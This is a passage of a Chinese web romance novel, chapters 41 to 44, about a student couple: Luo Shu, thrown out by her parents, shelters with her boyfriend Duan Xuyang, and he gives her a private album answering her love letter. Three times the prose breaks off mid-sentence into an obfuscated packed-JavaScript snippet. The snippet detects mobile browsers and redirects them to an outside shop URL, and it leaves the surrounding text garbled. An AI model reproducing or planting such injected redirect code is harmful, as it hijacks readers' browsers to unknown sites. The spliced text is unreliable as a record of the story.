他又看了一眼时间,不敢再耽搁,一边跑下楼一边对石攻玉喊:“我先走了妈,晚安!” 往常的夜里,道路总是很宽敞,但今天处处拥堵,好不容易赶到商场,停车场又显示已经没有车位。 段胥阳只得把车停到接近一公里以外的地方,又一路跑过来,来来去去已经浪费了不少时间。 好在唐磊这个老同学很有眼色,吃完饭也一直没走,隔一段时间就给他通风报信。 他上楼第一件事就是先和唐磊击了个拳:“太感谢你了,寒假我请你吃饭。” “饭可以不吃,满足一下我的好奇心就成,”唐磊伸出手指小心指了指罗姝的方向:“你们俩?” 段胥阳也跟着看向那个蜷缩在一起的身影,无奈地笑了笑:“我女朋友。” 41. 恋爱第19天 罗姝正对着手里的零食发呆。 火锅店店员送来的麻花很好吃,奈何就着火锅那种霸道的香气,干巴巴的小麻花也变得难以下咽。 肚子早早唱起空城计,饥饿的滋味并不好受,罗姝揉了揉因疲惫而干涩的眼睛,认命地拆开一包,强迫自己吃光。 视野里多出一个装满温水的一次性纸杯,她以为又是店员来送温暖,道着谢接过,谁知耳边却响起她再熟悉不过的声音。 “不接受口头道谢,建议你以身相许。”语气吊儿郎当的,没个正形。 罗姝动作顿住,她迟疑了一下,才缓缓抬起头。 段胥阳正双手抱臂,气定神闲地看着她,目光相汇时,他还不忘给她比个wink。 “段胥阳?你怎么在这?”罗姝下意识往他身后看了看,还以为他是跟着家里人过来的。 “别找了,没别人。”段胥阳箍住她的小脑瓜,迫使她不能再乱看,他看着她的眼睛,一字一顿认真道:“我就是来找你的。” “你男朋友手眼通天,遍地都是眼线,有人看到你一个人来这,转头这消息就被我截获了。” 等座位的顾客把门口的椅子都坐满了,段胥阳索性在罗姝面前蹲下,他先示意罗姝喝水,才说:“怎么不去别的店里吃饭,这还要等好久呢。” 他的气息和温度萦绕在她的周身,罗姝心头堵着的那口气渐渐松动了。 一种叫人浑身无力的低落感涌了上来,她用额头碰了碰段胥阳,声音很低:“我被扫地出门了,无家可归。” 段胥阳其实隐隐有过这样的猜测,不然他想不通,他亲自送回家的女朋友为什么大半夜单独在外面。 但他也只以为她是和家人吵架了负气出走,完全想不到会从她嘴里听到这样残酷的词汇。 罗姝说话从不夸张,她说的每个字都写实。 正因如此,段胥阳才更觉得难过。 “我刚刚订了一个房间,离这里不远,回去点个外卖好不好?”段胥阳拉着她起来,柔声劝道:“奔波了一整天,你好累的。” 罗姝并不是固执到非要吃那一口火锅,某种程度上来讲,火锅是她当下心情的一个寄托。 而现在段胥阳来了,她不再需要将情绪寄托给什么,疲惫无力的时候,她可以依赖他。 于是她点了点头,任由段胥阳牵着她离开。 酒店距离非常近,甚至段胥阳的车就停在这家酒店的停车场。 两人一路牵手到了酒店楼下,段胥阳又确定了一下手机上的订单信息,对罗姝说:“我订的是一间套房,内部有三个房间,都可以单独锁门。” “你要是不放心,这家酒店还有空房间,我可以再订一间。” 紧接着他就发表自己的观点:“但我觉得一间套房就足够了,我们俩在同一个屋檐下更安全一点。” “不用那么麻烦,”罗姝抱住他的手臂:“我可能更想有你陪着。” 有些人一旦开口就是王炸。 段胥阳满脸通红地想。 迅速完成入住流程,两人刚拿到房卡,就和外卖小哥迎面碰上,又省去了一些等待时间,回房就能直接开饭。 等电梯的时间里,罗姝视线就落在精美严密的外卖包装袋上,久久没有挪开。 “都是些家常小炒,这家店味道不错,店面也很干净,之前还有吃播突袭过后厨,没有卫生隐患。”段胥阳见状解释了一下。 “嗯,我知道。” 罗姝的眼神描摹着包装袋上“有家小厨”的字样,突然笑了起来:“这店是我爸妈开的。” 她也没想到段胥阳点个外卖,还能点到自家店铺。 她舟车劳顿一整天,到家只有争吵,都没等到父母问一句有没有吃过饭。 但最终,陪伴她结束这一天的,还是“家的味道”。 有家小厨私房菜在他们这个小县城都开了四五家分店,保证全县任何一个地方都能点到他们家的外卖,在当地受欢迎程度可见一斑。 店里的每一道菜都是施有第和罗福军共同调整的,他们对罗姝罗妤姐妹俩入口食物的标准有多高,就对餐厅所用食材、调料安全卫生标准有多高,这家店最终是靠健康绿色打开了口碑。 和父母的那场争端还历历在目,施有第歇斯底里的形象,却又在这一纸包装袋中,渐渐替换成了另一个模样。 那是工作中的施有第,她精明、敏锐、高标准、严要求,相比于性格较为木讷、只懂得当厨师的罗福军,有家小厨这个品牌几乎是她一手塑造起来的。 熟悉的味道入口,罗姝想要倾诉的想法达到了顶峰,等到餐具终于全部被清空,她这才缓缓开口:“有家小厨最开始,就是一家又破又旧的苍蝇馆子。” “也算是我爷爷奶奶打造的产业,只是后来亏损越来越严重,我姑姑和叔叔他们谁都不想要,就干脆借着分家的理由,把这间饭馆甩给了我爸。” “那会儿我刚上幼儿园,饭馆入不敷出,家里天天吵架。直到学校老师告诉他们,我算是个聪明的孩子,建议大力培养。” 罗姝有时也惊讶自己的记忆力,居然还记得那么年幼时期的事情,大概是因为过去父母的争吵过于激烈,才让那段时光在罗姝脑海中这般清晰。 她对自己认同地点点头:“可以说是为了我,我妈下定决心要把这老破小经营好,至少要开始盈利,才能拿出资金培养我。” “她找自己的兄弟姐妹们借了一大笔钱,重新装修店面,重新设计菜单,改了原先的饭店名称,还第一时间入驻了外卖平台。” “慢慢的,这家店就真的被她盘活了。” 施有第是一个执行力非常强的人,一旦她有了明确的目标,就会迅速做出性价比最大的举措,她对于饭店经营规划和市场倾向判断从未出错过,仅仅是这一点,就叫罗姝钦佩不已。 “在我心里,这个店铺才是她应该去展示炫耀的作品。一个亟待倒闭的苍蝇馆子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147488|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在都能在首都那样寸土寸金的地方开分店,离不开他们夫妻俩的呕心沥血。” “但他们的思维里,发展这个饭店的初衷是想要赚够培养我的资金,我才是那个被打磨的作品。”罗姝扯着嘴角,“也不知道我们之间,谁更加可悲。” 她的妈妈明明是个聪明人,却又在某些方面极其短视。 日渐富裕优渥的生活滋生的是傲慢,施有第没有放弃在事业上的严谨,也没有放弃在生活上的自负。 曾经低声下气借钱维持生活的人,一跃成为了亲朋中最富有的人,当财富意味着地位时,施有第恨不得让全世界都知道她有多么成功。 甚至连她去学校找班主任闹事时,都是声称“管好你的学生,别看到有钱人就来攀附”。 过度的自负就是自卑,罗姝很清楚,施有第一直被困在幼年时爹不疼娘不爱的窘迫处境里,她几乎在用她全部的人生,来证明她也有被人重视的价值。 她是这样扭曲着长大的,所以她赠予的母爱也是扭曲的,好的不纯粹,坏的不彻底。 让罗姝无法走心,也无法割舍。 “和父母的相处,真的好难啊。”罗姝钻进段胥阳的怀里。 段胥阳顺势将人搂住,一下一下拍打着她的脊背,摇摇晃晃地像是在哄小孩:“[1]难其实是正常的,父母、亲人都不是我们自己选择的关系,是上天分配给我们的关系。” “我们对父母的爱总是抱有高标准,是因为有那一层血缘关系。但你仔细想想,他们其实和同学、室友是一样的,都是我们无法自己选择的、被分配而来的人际关系。” “只有我们自己选择时,才会主动找到志同道合的人,避开摩擦。而分配来的关系,要更加费心地磨合才能维系。” 罗姝闷闷地应了一声:“好像有点道理。” 段胥阳观察了一下她的表情,见她没有特别伤心,才接着说:“这样拆解一下,找到合适的相处方式也很简单。” “我们也不是跟每一位同学都好得穿同一条裤子,大多数其实都只是点头之交。适应不了就不去适应,谁说和父母之间就不能君子之交淡如水呢?” 罗姝把头埋在段胥阳的胸口沉默思考了良久,一直到他领口都被她揉成皱巴巴一团,才说:“我可以接受,希望我爸妈也能接受吧。” 她起身将桌面的狼藉收拾了一下,又感受了一下自己的状态。 身体很疲惫,精神还有些亢奋。 她便又回到段胥阳身边,仰着脸问他:“你能给我录一段哄睡的儿歌吗?我怕我晚上睡不着,清唱就行。” 段胥阳闻言,不禁得意地挑挑眉头,唇角也上扬起来:“巧了不是。” “你还记得不记得,我们去首都录歌那次,我承诺过要送你好多好多礼物。” “还有一个礼物,当时只给你画了大饼,迟迟没有兑现。” 言语间,他贴近她的脸,在她耳边低语:“现在我把它送给你。” 42. 恋爱第20天 段胥阳同学, 展信佳。 写下这段文字的时候,我这里是一个阳光明媚的大晴天。阳光钻过窗帘的缝隙落到我的脚下,沿途留下一道清晰的光路。 明亮中,我看到有浮尘在上下起舞,像钢琴键上跳跃的指尖,猛地敲击在我的心口。 我突然决心将这份心事说给你听。 回望过去,我们好像从来没有正式交换过姓名,仿佛你出现在我的世界里理所当然。但我仍需向你做一个自我介绍: 你好,我是高中301班的罗姝,也是你的大学校友罗姝,未来,还可能会是你的幕后队友罗姝。 而现在,我是偷偷喜欢着你的罗姝。 我曾试图将这份青涩的情感不断回溯,最终遗憾地发现,我无法确定它的源头。 好像只是某一个晃神的瞬间,你从我的身边经过,从此我的青春回忆里就再少不了你的身影,和你的声音。 此刻,我阖眼从记忆中截取一个片段,是你倚靠着窗口清唱一首童谣,歌声像一只灵巧的小鸟,落在我头顶的树枝上。 而我躲在一楼的凉亭檐下,借着书本的遮掩,将目光投向你。 歌声在徜徉,同学们的欢呼声将你淹没,我看见你笑容明媚,浑身都散发着柔和的光晕,像你曾给我过的那一包糖一样熠熠生辉。 与阴影中的我是那般不同。 叫我心驰神往。 太阳不会独照一人,你的自信、开朗、乐观,也不会独独影响着我。 或许在收到我这封信之前,你早已倾听过许许多多个过路人青睐的心声,见识过许许多多小女孩脸上羞涩的红晕。 我的倾慕不是独一份,也并不会打动你,但我仍想借此来向你告白,感谢青春有你,弥补了我的色彩。 那时在班级窗口哼唱的童谣,一定会化作独属于段胥阳的音乐,流入千家万户。 未来的原创歌手段胥阳,祝你梦想成真。 顺颂时祺。 罗姝。 —— 大套间里有两个浴室,一间是公共浴室,另一间在主卧里,段胥阳卖着关子,非要等两个人都洗漱完才说礼物是什么。 没过多久,从不同浴室传出的花洒水流声同时消失,两人又聚在一起,对着公共卫生间宽大的镜子动作整齐地吹着头发。 段胥阳头发短,更快吹干,他原地欣赏了一下这幅宛如亲两口子一般温馨的居家场景,接着便从手机相册里找到罗姝写的那封情书。 降噪吹风机动静已经很小,段胥阳仍怕她听不清似的,凑在罗姝耳边声情并茂地大声朗诵着。 罗姝明明吹着暖风,还是起了一声鸡皮疙瘩,她忍无可忍地一把捂住他的嘴:“我写的时候,腔调没有这么恶心。” “嘿嘿,”段胥阳躲开她的手:“我这叫加入情感,注入灵魂。怎么样,现在是不是彻底调动起了写这封信时那种带着一点点酸涩和甜蜜的小情绪?” 罗姝:“……” 她默默收起吹风机。 不好说。 她写这封信的时候,一直没找到写情书的感觉,最后干脆把所有的模板都推翻,破罐子破摔地用一些华而不实的词藻堆砌起氛围感充数。 为了让情书显得更真情实感一点,她把记忆的每个边边角角都搜罗了一遍,才加入了那一点点写实型回忆,如今再回看还是觉得短短一段文字单薄得很。 尤其缺少暗恋的酸涩和甜蜜。 见罗姝没有给出回应,段胥阳脸一垮:“得到我就不珍惜了。” “你这么念,我确实没有一点代入感。”罗姝无奈:“你就直说要干什么嘛!” “那你把眼睛闭上。”他绕到她身后,虚虚捂着她的眼睛,将她重新带回客厅。 视觉受阻,其他感官便会放大,罗姝坐下来时,敏锐地嗅到一丝浅淡的花香。 他捏了捏她翕动的鼻子,带着些忍俊不禁:“新年快乐呀姝姝。” 与光明一起重回眼前的,是茶几台面上一个黑色的盒子,盒身特意打造成大理石板一样的纹路,看着高级又典雅。 一枝花开正艳的玫瑰正搭在盒子上,被衬得格外鲜红。 罗姝将它拿在手上,指腹捻动着转了几圈,颇感神奇:“怎么会有花呢?刚刚还没有的。” “下面那个不是放花的桌垫子,它才是重点,小花只是陪衬,把花放一边好吗?” 段胥阳从她手里接过那支玫瑰,凑近看了看,有些嫌弃:“都不新鲜了,临时买来的,果然有些瑕疵。” 想到段胥阳非要等她洗漱完才送礼物,再看看这突然出现的花朵,罗姝心里已经有了答案,大概是他趁着她洗澡时出去过。 见他那样期待,罗姝也不再磨蹭,她小心地撕掉盒子边缘的带胶标签,只感觉整个盒身都沉甸甸的,颇有分量。 取走盒盖,首先映入眼帘的是一个印着封面的CD盒,磨砂质感令照片有些失真,但依旧可以辨认出封面主角就是段胥阳。 天空是蓝色的,草地却是粉色的,天地没有明确的交界,色彩自然地互相过渡。 照片中的段胥阳站在天空和草地之间,左手捏着罗姝熟悉的粉色信封和白色信纸贴近眼睛,右手比着剪刀手高高举过头顶。 他闭着眼睛露出笑容,头顶手绘着一个由两个红色爱心组成的巨大感叹号,身后是四个可爱美观的艺术字:告白回信。 她下意识看向段胥阳。 “还有呢!”他挤着罗姝的肩膀:“全都看完再说。” 罗姝将CD盒放到一边,从蓬松的拉菲草中又翻出一个拍立得相机和几个小册子。 小册子种类繁多,其中一个是折叠起来的海报,海报照片和CD盒封面是一样的,只是更加清晰。 还有一个小卡册,罗姝大致翻了翻,里面装着至少十张段胥阳的自拍照。 唯一一个没有附图的是一个很厚的笔记本,前面几页是正常纸张,后面就变成了相册,相册大小和拍立得相纸大小一致,目前还都是空着的。 笔记本灰白色的封面上是一行俏皮的手写字:快用爱把窝填满! 末尾还画着一双贼兮兮笑眯眯的眼睛。 罗姝翻开第一页,目录里有四个标题。 《春祺夏安》;《秋绥冬禧》;《岁岁无虞》;《长安长乐》。 《春祺夏安》那一页备注着这是一首纯音乐,《长安长乐》则代表着后面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151742|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相册,只有《秋绥冬禧》和《岁岁无虞》这两章里记录着长篇的歌词。 罗姝早已不是从前与网络脱轨的学牲,她又一一扫过CD盒、大海报、小卡册和歌词本,整个人意外到呆滞:“你发行了个人专辑?” “准确来说,是未来天王段胥阳发行了人生中第一张个人专辑,全球发行量:1,收藏价值可以达到百分之一万。”段胥阳伸出食指比了个一。 “这是整个世界上,只有罗姝会听到的音乐,专为罗姝创作的歌曲,你说这个罗姝得多厉害呀!”他得意地抱着手臂。 罗姝却没抬头看他,她的注意力都在那个歌词本上,因为《秋绥冬禧》这一页的副标题中,含着她的名字。 《致罗姝》 入眼是个明媚的清晨, 有个姑娘正躲在廊下凉亭。 她像个小小蘑菇, 总用伞盖遮住干净的眼睛。 最熟悉她的侧脸和后背, 苦恼该怎么自然地与她同行。 是否打打篮球就能引起她的注意? 还是从她身边加速经过再蓦然回首, 直至看清她的眉眼, 才哼起小曲遮掩满脸笑意。 宝贝, 你的回忆里,可曾记录我幼稚丛生的丑态? 愿我是五花八门的色彩, 沾染后紊乱了你青春边缘的空白。 愿你的每一个孤寂时分, 我的歌声能化作夜莺向你奔来。 它本就是为你而唱, 它本就该落入你怀。 …… 春天时渴望风吹过你再吹过我, 夏天时祈求雨绕开你再淋湿我。 秋绥, 冬禧, 愿晚安。 …… 清唱中,一只蝴蝶从心里翩跹回到三年以前。 那是最无聊的开学典礼上,段胥阳双手插兜,低头踢乱操场的草坪。 “罗姝,马上就轮到你上台演讲了,先跟我去后台准备一下吧。” 尚且陌生的老师绕到队伍的后方,喊出一个个头小小的、头发短短的小姑娘。 她抿着嘴,稚嫩可爱的脸上写满了严肃与认真,一板一眼地点头说:“好。” 声音像清甜的桃子,凉凉的,极有效率地抚平了秋燥。 “哎,曹非。”他听见自己在问:“她就是咱们这个年级的传奇第一名啊?” 曹非的回答他完全没有听清,只是看着她远去的背影感慨一声。 “她怎么这么厉害呢。” 从这一天起,他的目光总是不自觉地缠着她,仿佛真是要深究她的聪明才智从何而来。 这个看起来不显山不露水的小女孩,也用她近乎于严苛的认真,在每个清晨的早读、在每个课间的走廊、在每个休闲的时光里,一次次向他证明,她值得一切荣誉。 时光荏苒,柳枝抽条,女孩的脸颊渐渐有了成长的棱角,成为少年的模样。 而高三某个平平无奇的日子里,他的目光一如既往落在她的身上,突然,他看到她的头顶上,多了一个鲜明的红色箭头。 那只蝴蝶,正落在她的鬓角。 43. 争夺自我第1天 拉菲草丛里其实还藏着一个U盘,包装很小,罗姝没有第一时间发现,还是段胥阳扒拉了好一阵才翻出来的。 他一边用USB转换接头把U盘连接到手机上,一边吐槽:“这家公司主业是卖拉菲草的吗,专辑里塞这么多拉菲草。” 罗姝也随手捡了一小团拿在手里把玩,试图用手上琐碎的动作来遮掩内心的复杂。 她那一封用心不纯的道具情书,换来了他用心打造的回信。 不必说创作歌曲的难度,能找到愿意单独制作一张专辑的公司就难如天堑。 可它现在就在她的眼前,包装精美、物料齐全,来途的困难她一无所知。 动听流畅的音乐从段胥阳手机上流淌起来,段胥阳跟着轻快的旋律摇头晃脑,也不需要再看歌词本,就跟着哼唱出那一句句打磨许久的心声。 罗姝将所有情绪都先吞下,闭上眼睛用心感受这为她而写的歌曲。 主动或被动的,她总是会回忆起高中时期的段胥阳。 但这一次,她从段胥阳的视角里回忆到了自己。 高中教学楼的背面有一个凉亭,新修建起没几年,并不破败,只是位置比较偏僻,平常很少有学生会过去。 秋夏时节,罗姝是那里的常客。早读的时候,她喜欢一个人吹着风在亭子里背诵课文。 亭子正对着许多人的教室,那三年里,她总是背对着教学楼,避免和里面的同学产生视线交流。 但也有几次,她抬起头看向三楼,那是他们教室所在的楼层。 而三楼那个能看到凉亭的位置上,总是坐着段胥阳。 原来那一次次对视与擦肩并不是偶然。 是乏善可陈的她,也在旁人的时光里闪闪发光。 她的听觉好像自动分成了两个声道,一边是精修后期过的音乐成品,一边是他刻意压低声音的干爽清唱,精心策划与真挚诚恳最终交汇在她的心尖。 “段胥阳……我有一点难过。”歌曲的尾调悠扬轻柔,罗姝在这余韵中开口:“我的那封情书,写得并不用心。” “不许卷我啊,我写作文本来就不如你。”段胥阳揽着她,两人一起陷进柔软的沙发靠垫中。 一天下来,他也早已疲惫不堪,趁机闭眼假寐:“你写的每一句,我都深有感触。当时就特别想告诉你,你的那些回忆里还有另一个人的角度。” “所以你高中时候就喜欢我么,”她摸了摸他下巴上长出来的胡茬,刺刺的,有些喇手:“为什么呢,我们那个时候其实并不熟悉。” 她柔柔抚摸的力道让人发痒,段胥阳一把抓住她的手,故意拿下巴在她脸颊上乱蹭:“好问题啊罗姝,那你为什么会喜欢我呢?” 罗姝哽住,她左躲右躲,混乱繁忙中还要开动脑筋:“因为,因为你很好啊。” “对啊,因为你很好。”段胥阳重复了一遍,他还是调笑的姿态,但语气神情都很认真:“不需要你和我之间产生过什么交集,不需要你和我之间一定存在一个确定的事件作为理由,你很好,我也很好,就足以让我们心动。” 说这话时,他的嘴唇还时不时碰到她的脸颊,罗姝一时感动,主动亲了他一下,又被他胡茬刺到噗嗤笑着躲开:“真的痒。” “嘿,那你碰我胡子干嘛!”段胥阳瞪她:“纯调戏我。” “我从来没有见过你长胡子。”罗姝感叹:“好神奇啊,突然就长出来了。” 听到这话,段胥阳闷闷地笑了两声,他从沙发上站起来,动作娴熟地抱起她走回主卧:“来,我哄你睡觉,这张专辑还有个别名,叫《哄睡》。” 段胥阳始终记得她那段时间睡眠不好,半夜给他发信息的事。 他也一直惦记着要写一首舒缓的歌给她,正好她的情书给了他无尽的灵感。 《春祺夏安》是一首钢琴曲,由段胥阳谱曲,曹非的钢琴家父亲亲自调整并远程指导段胥阳弹奏录制,非常助眠。 《岁岁无虞》则是地方民谣改编的摇篮曲,段胥阳特意学了那个地区的方言唱法,保证一听就犯困。 整张专辑的创作思路,就是既能对她的心意做出回应,又能具备哄睡作用,现在正好是验证效用的时候。 好半晌,房间里的歌声慢慢哑火了。 罗姝躺在被窝里,段胥阳躺在被子上面。 他口口声声说着要把她哄睡后再回自己房间,哪知一首歌还没完整唱完,他就先睡着了。 罗姝深深望着他,从他浓密有型的眉毛,到深邃的眼窝、高挺的鼻梁,再到自带唇色的双唇。 不知何时,相比起他俊逸的外貌,她更加在意起他的情绪、他的喜恶、他的理想、他的内心。 你很好,我也很好,这已经足以令我们心动。 罗姝回想着这句话,又想到了那所谓的宿命。 不仅仅只为了自己,还要为这样好的段胥阳,她一定要把人生重新掌握回自己的手里。 念头萌生的瞬间,罗姝又感受到了那熟悉的剧痛,但她早已练就了坚强的毅力来忍受这份痛楚,再不会像最初那样惊慌。 她靠近他,先是吻在他光洁的额头,自言自语:“段胥阳,我想尽快见曹恩悦一面。” “嗯……” 睡梦中的段胥阳无意识地回应着她。 —— 次日,天光大亮,阳光缓缓攀爬,终于绕开建筑物的阻挡,穿透玻璃直接打到了段胥阳的脸上。 他被刺眼的光晃醒,皱着眉不情不愿地睁开眼睛。 “……” 不对! 段胥阳腾地坐起身,警觉地环顾四周,看看自己身上的衣服,再看看半盖在身上的被子,最后看看原本睡着罗姝的那半张床。 他哀嚎一声:“完了,我居然跟姝姝抢床睡!” 床单冰冷,有些褶皱但整体来看还算工整,段胥阳凑近嗅了嗅,房间里都是香薰的味道,无法判断罗姝夜里是不是也睡在这里。 他揉了揉一晚过去变成了鸟窝的头发,整个人有些颓唐地坐在床边。 该不会姝姝觉得他臭不要脸,不想见他了吧? 正胡思乱想着,门口传来有节奏的敲击声,三下过后,罗姝推开门探进大半个身体:“就听见房间里有动静,我猜是你醒了。” “我叫了早餐,刚送来没多久,你洗漱一下快来吃。” “姝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156596|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝,”看她表情气色都不错,段胥阳鼓起勇气问道:“你昨天晚上怎么睡的?” 罗姝笑眯眯地比了个OK的手势:“这间套房里有三间卧室,我当然是换了一间睡。” “哦,”他也不知道该松一口气还是该失落:“睡得好就行。” 迅速将自己重新捯饬成一个帅哥,段胥阳又仔细检查了一遍,确定胡茬都被清理干净后才一路小跑到罗姝身边讨吻:“早安吻。” 人的底线就是这么被一点点突破的。 起初稍微有点亲密举措都要做很久心理建设,牵个手都要小心翼翼,到慢慢可以接受偶尔的脸颊吻。 明明上次在温泉酒店他闹着要盖章时,罗姝也会觉得不好意思。 但自从一个一触即离的吻演化成爱与情的深度交换,其他蜻蜓点水的亲吻就变成了稀松寻常。 罗姝没有再忸怩,捧着段胥阳的脸碰了碰他的嘴唇。 段胥阳先是摸着嘴傻笑,又突然想到了什么似的,嘴角向下一拉:“昨晚不知不觉就睡着了,都没有要晚安吻。” “你是没要,但我给了。”罗姝说着,拆开酒店的饭盒,把里面的早餐放到段胥阳面前:“快吃吧。” “你偷亲我啊!”段胥阳都没看那份早餐,整个人洋溢起幸福快乐:“有没有多亲几口?” “没有。” 段胥阳:“……” 他哼了一声,女朋友又开始不解风情了。 见状,罗姝低头轻笑,她撑着脸又看了他片刻,才说:“我买了中午的车票,待会儿送我去车站吧。” 段胥阳动作一滞,咀嚼的动作也停了下来:“为什么要买车票,我们可以一起回去啊,我昨天也跟家里人说好了的。” “你已经为我付出了太多,”罗姝语气和缓地说:“你本来就有自己丰富的生活,能够在我最无助的时候出现在我身边就已经足够。假期还很长,你应该按照你原本的计划,陪陪你的家人。” “然后让我女朋友孤零零的一个人回去吗?”段胥阳皱着眉头:“不行,我做不出来这事。” “怎么不行,如果不是我这边出了些状况,我们本来也是各自待在自己家里直到假期结束不是吗?”罗姝拉着他的手劝道。 “你对我这么好,我能回报的又太少,长期下去,我会产生心理负担的。” “我又不是为了让你回报我才对你好的。”他嘟囔。 “是这个道理,但是感情也要有来有往才能更好维持啊。”罗姝摸了摸脸,决定拿出自己的杀手锏:“其实我也给你准备了礼物的,是我自己织的帽子。” “前段时间一直在备考,时间也是断断续续的,帽子还没做好。这次我回去就加速织,等你回来送给你,好不好?” 段胥阳却没那么好哄,他半掀着眼帘看她:“我对你好,让你产生负担了吗?” “我会觉得自己很麻烦,需要你把精力全放在我身上。”罗姝解释道:“我不想影响到你的正常生活。” 经营感情需要智慧,付出和接受也都有度可量,段胥阳心里叹气,接受了女友的提议。 但,他开口:“那我要亲亲、抱抱、情侣装。” 44. 争夺自我第2天 大清早,罗姝拒绝腻歪,亲亲和抱抱她是一口答应了下来,非要赊账等以后再兑现。 最后就只承诺会在进站前给他一个大大的离别吻。 结果是,就连离别前的亲亲和抱抱都化作了泡影。 火车站门口那条送行道只允许车辆原地停留30秒。 段胥阳也是第一次走送行道,还没经验,看到指示牌提醒的时候已经晚了,后退无路,只能眼睁睁看着罗姝飞快解开安全带拎着包下了车。 他就这么猝不及防地和罗姝分别了。 再有下次,他一定要先拐进停车场! 亲亲抱抱够本再说! 段胥阳憋着一肚子闷气赶回家,经过小区门口时,还与保安亭一个阿姨对上了眼神。 那阿姨瘦到颧骨突出,眼睛格外的大,看他时眼神冰冷。 段胥阳打了个哆嗦,这阿姨是在看他吗? 但他好像也没有什么仇家,估计是阿姨天性就不爱笑,不是对他有意见。 他转眼就将这事抛入脑后,没多在意。 回家时正赶上饭点,一大家子人已经开饭,看见段胥阳进来还挺奇怪,奶奶问了句:“你不是在跟女朋友约会吗?” “她先回学校了,让我利用假期多陪陪你们。” 他看似神情自然地跑进厨房洗了洗手,给自己盛了一碗饭,找了个空位坐下,就开始大快朵颐。 熟悉他的亲人都能看出他情绪不好,彼此间互相看了看,想说些什么,被石攻玉一个眼神安抚住,没再有动作,只先吃饭。 吃完饭,段胥阳又跟到厨房里帮忙,段明谦先把沾了油渍很难清洗的锅碗瓢盆都简单手洗一遍,再由段胥阳放到洗碗机里冲洗消毒,父子俩流水分工,合作得天衣无缝。 “怎么回事,跟女朋友闹别扭了?”想起妻子叮嘱的任务,段明谦清了清嗓子,打算开始做知心爸爸。 早些年他忙于创业,气质还有些凌厉。 随着跟妻子一起把生活重心重新倾倒回家庭,身材也开始发福走样后,如今的段总堪称和蔼可亲,再也不会像段胥阳小时候那样,吓哭小孩了。 “没有,我就是自己郁闷。”段胥阳抹了一把脸,十八岁少年的烦恼也是青涩的,他对着父亲倾吐:“我第一次喜欢一个女孩子,只想着把我能给的最好的都给她,不想让她受一点委屈。” “但是好像,反而会让她感到不自在。” 水流声断断续续的,段明谦笑了起来:“过犹不及嘛。人们常说夫妻一体,但夫妻的本质也是两个人,只要人与人之间是独立存在的,就一定要留出空隙保持距离,彻底挤成一团只会无法呼吸。” “你跟妈妈也是这样吗?”段胥阳一脸狐疑:“明明你很黏妈妈啊,我都是随你的。” 段明谦也不恼,反而有些得意:“我跟你妈妈还有些微不同,我们从小一起长大,青梅竹马,天生更加亲密,距离要更短些。” “你先别管我们,只说你自己的问题。”他催促。 段胥阳便长叹一声:“我也恨不得天天黏在她身边,但在她面前我会努力克制这种冲动,我以为我已经在照顾她的感受。” “结果,我好像还是没能真正分辨那条底线。” 他索性蹲在地上:“她前一天遇到些事,情绪起伏很大,明明我们是一起回来的,今天还得一个人回学校……我心疼啊,我想陪她回去,她不愿意。” “就为这事?”段明谦问。 “就为这事。”段胥阳重重地点了两下头:“她说我的生活不止有她,我要是一直围着她打转,她会怀疑自己是不是很麻烦。” 段明谦也不得不发出和石攻玉一样的感慨。 儿子是真的长大了。 段胥阳向来是一个简单的人,他的世界很纯粹,情绪也很直白,这还是段明谦第一次看到他纠结的模样。 “她也是成年人,哪里就需要你到处陪着。” 或许父亲就是要做一个扫兴的人,想了想,他又说:“小阳,她不是幻想电影里等待你救援的公主,并非弱小到离不开你的庇佑。” “收起你的英雄主义,她同样需要困境来磨砺自己。” 这座名为溪岸枫庭的别墅区是当地最豪华的小区,没有之一。 房价常年居高不下,住在这里的人非富即贵,传言还有些名人隐居在这里,很是神秘。 施有第拿着监控照片过来时,并没有预料到能在这里见到照片中的男生。 但偶尔缘分就是那么神奇,她才刚刚走过来,那辆她昨晚才见过的车辆就从她面前驶过,驾驶室坐着的青年正是她想要打听的人。 四面车窗都贴着防窥玻璃膜,施有第仅能从前挡风玻璃处快速地审视他一眼。 比起像素模糊的监控截图,他本人看起来似乎更加周正,气质也很干净,不像那种胡作非为的富家子弟。 她出现在这里,还费了一番周折。 罗姝此前向来还算乖巧,交友也全都在她把控之内,唯一一次失控,就是高中。 施有第由此猜测罗姝的叛逆根源还是高中时那些所谓的朋友,这个男孩估计也是她高中时期认识的,昨天夜里就找物业看了监控。 今天一大早,她打电话给罗姝的高中班主任老师询问,那位老师因为从前的事对她小有不满,看了照片后只说了一声:“罗姝妈妈,您不用担心这个孩子攀您家高枝。” 